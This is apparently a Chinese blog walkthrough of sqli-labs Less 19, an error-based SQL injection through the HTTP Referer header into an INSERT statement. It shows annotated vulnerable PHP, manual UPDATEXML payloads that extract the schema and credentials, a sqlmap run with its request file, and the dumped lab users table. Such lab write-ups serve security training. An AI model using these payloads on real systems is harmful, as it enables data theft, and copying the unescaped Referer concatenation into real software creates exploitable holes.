sqli-labs通关笔记-第19关 INSERT报错型Header-Referer SQL注入(单引号闭合 手工注入+脚本注入两种方法)

目录

一、Header注入

二、INSERT注入

三、源码分析

1、代码审计

2、SQL注入安全分析

3、SQL注入语句分析

四、渗透探测

1、进入靶场

2、注入点分析

(1)SQL语句

(2)admin登录探测

五、手工注入

1、获取数据库名

2、获取表名

3、获取列名

4、获取数据值

六、sqlmap渗透实战

七、恢复数据库


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手注法和脚本法共两种方法分别对第19关Less 19基于报错型的Header-Referer注入关卡进行渗透实战,相对于1-17关的区别主要是SQL的注入位置由HTTP报文的GET或者POST方法传参变为了基于 HTTP 请求头字段,相对于18关的区别是注入点为Header的Agent字段变为了Header的Refer字段。  

一、Header注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

Header 注入是指攻击者通过操纵 HTTP 请求头字段(如User - Agent、Cookie、Referer等),将恶意代码或非法参数注入到 Web 应用处理流程中,从而触发 SQL 注入、命令注入的攻击方式。

User-Referer注入(通常称为Referer 注入)是Header 注入的一种,攻击者通过篡改 HTTP 请求中的Referer字段(记录页面跳转来源的头部信息),将恶意代码注入到服务器端逻辑中。若后端直接使用Referer值拼接 SQL 语句、系统命令或模板渲染,可能导致安全风险。

Header注入与 GET/POST 注入的对比如下表所示。

对比项Header 注入GET/POST 注入
注入位置HTTP 请求头字段(如 Cookie、UA)URL 参数(GET)或表单数据(POST)
数据可见性部分头字段(如 Cookie)需抓包查看直接显示在 URL 或表单提交数据中
防御复杂度需额外过滤头字段输入常规过滤请求参数即可
典型 PayloadCookie: token=' OR 1=1 --?id=1' UNION SELECT ...
攻击隐蔽性更高(用户难以察觉头字段修改)较低(URL 参数易被用户或日志捕获)
适用场景依赖头字段的认证 / 日志功能常规表单提交、查询接口

核心差异:Header 注入利用 HTTP 协议的元数据字段,攻击路径更隐蔽,常被用于绕过常规参数过滤机制;而 GET/POST 注入直接针对用户可见的输入参数,防御和检测相对直观。两者均需通过预编译语句、输入过滤和最小权限原则进行防护。

二、INSERT注入

INSERT 注入是 SQL 注入的一种,通过构造恶意输入篡改INSERT语句逻辑,实现非授权数据写入或数据库破坏。

对比项INSERT 注入SELECT 注入
核心目标非授权数据写入或结构破坏敏感数据读取
典型场景注册表单、数据导入登录验证、搜索功能
数据流向攻击者 → 数据库数据库 → 攻击者
注入技术语句拼接、多命令执行(如分号分隔)UNION 注入、报错注入、盲注
示例 Payloadusername='); DROP TABLE users; --id=1' OR 1=1 --
防御重点过滤分号、预编译插入参数限制查询字段权限、预编译查询条件

三、源码分析

1、代码审计

本关卡Less19是基于Header-Referer的SQL注入关卡,打开对应的源码index.php,如下所示。

Less19关卡的源码实现了一个用户登录系统,前端收集用户名和密码,后端验证凭据后记录Referer头和IP地址。系统对用户名和密码进行了过滤(截断至20字符、转义处理),但存在严重SQL注入风险,因其未过滤$_SERVER['HTTP_REFERER']值,导致攻击者可通过伪造Referer头注入恶意SQL代码,实施SQL注入攻击获取数据库敏感信息。详细注释后的第19关卡源码如下所示。

<?php
// 包含数据库连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭错误报告显示
error_reporting(0);

/**
 * 输入过滤函数
 * @param mysqli $con1 数据库连接对象
 * @param string $value 待过滤的值
 * @return string|int 过滤后的值
 */
function check_input($con1, $value)
{
    // 非空值处理
    if(!empty($value))
    {
        // 截断至前20个字符,防止缓冲区溢出
        $value = substr($value,0,20);
    }

    // 如果服务器启用了魔术引号(自动转义),则去除斜杠
    if (get_magic_quotes_gpc())
    {
        $value = stripslashes($value);
    }
    
    // 非数字值处理
    if (!ctype_digit($value))
    {
        // 使用mysqli_real_escape_string转义并添加引号
        $value = "'" . mysqli_real_escape_string($con1, $value) . "'";
    }
    else
    {
        // 数字值转换为整数
        $value = intval($value);
    }
    return $value;
}

// 获取HTTP Referer头(来源页面地址)
$uagent = $_SERVER['HTTP_REFERER'];
// 获取客户端IP地址
$IP = $_SERVER['REMOTE_ADDR'];

echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";

// 检查是否提交了用户名和密码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    // 过滤用户名和密码输入
    $uname = check_input($con1, $_POST['uname']);
    $passwd = check_input($con1, $_POST['passwd']);

    // 记录登录尝试到日志文件
    $fp=fopen('result.txt','a');  // 追加模式打开文件
    fwrite($fp,'Referer:'.$uname."\n");  // 写入用户名
    fclose($fp);  // 关闭文件

    // 构建SQL查询语句验证用户
    $sql="SELECT users.username, users.password FROM users 
          WHERE users.username=$uname and users.password=$passwd 
          ORDER BY users.id DESC LIMIT 0,1";
    
    $result1 = mysqli_query($con1, $sql);  // 执行查询
    $row1 = mysqli_fetch_array($result1, MYSQLI_BOTH);  // 获取结果
    
    if($row1)  // 如果查询到结果(登录成功)
    {
        echo '<font color= "#FFFF00" font size = 3 >';
        
        // 存在SQL注入风险的语句 - 直接拼接未过滤的Referer
        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) 
                VALUES ('$uagent', '$IP')";
        mysqli_query($con1, $insert);  // 执行插入
        
        echo 'Your Referer is: ' .$uagent;  // 显示Referer
        echo "</font>";
        echo "<br>";
        print_r(mysqli_error($con1));  // 显示SQL错误(调试用)          
        echo "<br><br>";
        echo '<img src="../images/flag.jpg" />';  // 显示成功图片
        echo "<br>";
    }
    else  // 登录失败
    {
        echo '<font color= "#0000ff" font size="3">';
        print_r(mysqli_error($con1));  // 显示SQL错误
        echo "</br>";            
        echo "</br>";
        echo '<img src="../images/slap.jpg" />';  // 显示失败图片    
        echo "</font>";  
    }
}
?>

本关卡代码虽然对用户名和密码输入进行了过滤(截断、转义),但存在严重SQL注入安全问题:因为其未过滤Referer字段,导致攻击者可通过修改Referer字段注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息。主要处理逻辑如下所示。

  • 前端功能

    • 显示登录表单(用户名/密码)

    • 显示用户IP地址

    • 根据登录结果显示不同图片(成功/失败)

  • 后端功能

    • 接收并过滤用户输入(用户名/密码)

    • 查询数据库验证凭据

    • 执行INSERT SQL语句记录Referer和IP到referers表

    • 显示数据库报错的错误信息

    • 记录登录尝试到result.txt文件

2、SQL注入安全分析

这个代码存在严重的Header-Referer注入安全问题,原因如下:

  • Referer字段未过滤:在用户登录成功后,代码直接将未经处理的$_SERVER['HTTP_REFERER']变量插入到SQL语句中:如下所示。

$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) 
                VALUES ('$uagent', '$IP')";
  • 字符串拼接方式:SQL语句中使用单引号包裹Referer,攻击者可以单引号注入恶意代码。

  • 数据库错误信息暴露:print_r(mysqli_error($con1))显示数据库错误细节,为攻击者提供有价值的调试信息,便于实现报错SQL注入渗透攻击。

3、SQL注入语句分析

分析注入语句对于需要注入的情况,由于注入点为agent,那么要构造闭合还需要加上ip,uname的内容,也就是注入语句尾部应该为 , '$IP')#,如下所示。

, '$IP')#

举例如果注入语句如下所示。

' AND UPDATEXML(1,CONCAT(0x7e,(SELECT VERSION()),0x7e),1)

那么本关中,如果想insert渗透成功,需要在尾部增加内容,具体如下所示。

' AND UPDATEXML(1,CONCAT(0x7e,(SELECT VERSION()),0x7e),1), '$IP')#

    四、渗透探测

    1、进入靶场

    进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

    http://127.0.0.1/sqli-labs/

    其中第19关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

    http://127.0.0.1/sqli-labs/#fm_imagemap

    点击上图红框的Less19关卡,进入到靶场的第19关卡字符型Header-Referer注入关卡,页面提示这是一个登录的页面,需要输入用户名和新密码,页面下方还有一个显示本地ip地址的页面输出,具体如下所示。

    2、注入点分析

    (1)SQL语句

    根据源码分析可知,本关卡未过滤Referer字段,导致攻击者可通过修改Header的Refer字段注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息,具体代码如下所示。

    $uagent = $_SERVER['HTTP_REFERER'];
    $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) 
                    VALUES ('$uagent', '$IP')";

    页面整体存在SQL风险,核心根源在于未对输入参数$_SERVER['HTTP_REFERER']做安全处理且暴露数据库错误细节,闭合方式为单引号。

    (2)admin登录探测

    输入用户名admin,密码admin登录页面,显示HTTP-Refer信息,如下所示。

     在burpsuite的历史记录中找到这个报文,抓包效果如下所示。

    此时在报文request请求部分右键,选择copy to file并保存为sqli-labs19.txt,如下所示。

    五、手工注入

    1、获取数据库名

    如下所示,数据库的名称为“security”。

    'or UPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),1),'ip')#

    2、获取表名

    如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

    'or UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1),'ip')#

    3、获取列名

    如下所示,数据库users表的列名分别为id,username,password。

    'or UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE()and TABLE_NAME='users'),0x7e),1),'ip')#

    4、获取数据值

    最后通过上一步获取到的列名来提取users表的username和password内容,如下为注入语句。

    'or UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT('USER:',username,' PASS:',password) FROM users LIMIT 0,1),0x7e),1),'ip')#

    如下所示,获取到第一个行对应的用户名和密码渗透成功。

    六、sqlmap渗透实战

    我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

    sqlmap -r sqli-labs19.txt  --current-db --dump --batch

    其中sqli-labs19.txt中的注入点被修改为如下所示,Referer后的内容改为星号,标注Refer字段为注入点,具体如下所示。

    POST /sqli-labs/Less-19/ HTTP/1.1
    Host: 192.168.59.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: *
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 38
    
    uname=admin&passwd=admin&submit=Submit

    sqlmap渗透成功,可以通过报错法、时间盲注方法渗透成功,闭合方式正式具体信息如下所示。

    (custom) HEADER parameter 'Referer #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    sqlmap identified the following injection point(s) with a total of 983 HTTP(s) requests:
    ---
    Parameter: Referer #1* ((custom) HEADER)
        Type: error-based
        Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
        Payload: '||(SELECT 0x504e7658 WHERE 2739=2739 AND GTID_SUBSET(CONCAT(0x7171766a71,(SELECT (ELT(5330=5330,1))),0x7162786271),5330))||'
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: '||(SELECT 0x46725268 WHERE 9922=9922 AND (SELECT 2806 FROM (SELECT(SLEEP(5)))KFFn))||'
    ---
    [02:38:53] [INFO] the back-end DBMS is MySQL
    web application technology: Apache 2.4.39, PHP 5.5.9
    back-end DBMS: MySQL >= 5.6
    [02:38:54] [INFO] fetching current database
    [02:38:54] [INFO] retrieved: 'security'
    current database: 'security'
    
    
    
    Table: users
    [13 entries]
    +----+------------+----------+
    | id | password   | username |
    +----+------------+----------+
    | 1  | Dumb       | Dumb     |
    | 2  | I-kill-you | Angelina |
    | 3  | p@ssword   | Dummy    |
    | 4  | crappy     | secure   |
    | 5  | stupidity  | stupid   |
    | 6  | genious    | superman |
    | 7  | mob!le     | batman   |
    | 8  | admin      | admin    |
    | 9  | admin1     | admin1   |
    | 10 | admin2     | admin2   |
    | 11 | admin3     | admin3   |
    | 12 | dumbo      | dhakkan  |
    | 14 | admin4     | admin4   |
    +----+------------+----------+
    

    七、恢复数据库

    由于本关卡利用的是基于HTTP报文Referer字段的insert注入,insert注入会为数据库增加非常多的内容,接下来在navicat中清空Referer表格内容。

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包

    打赏作者

    mooyuan天天

    你的鼓励将是我创作的最大动力

    ¥1 ¥2 ¥4 ¥6 ¥10 ¥20
    扫码支付:¥1
    获取中
    扫码支付

    您的余额不足,请更换扫码支付或充值

    打赏作者

    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值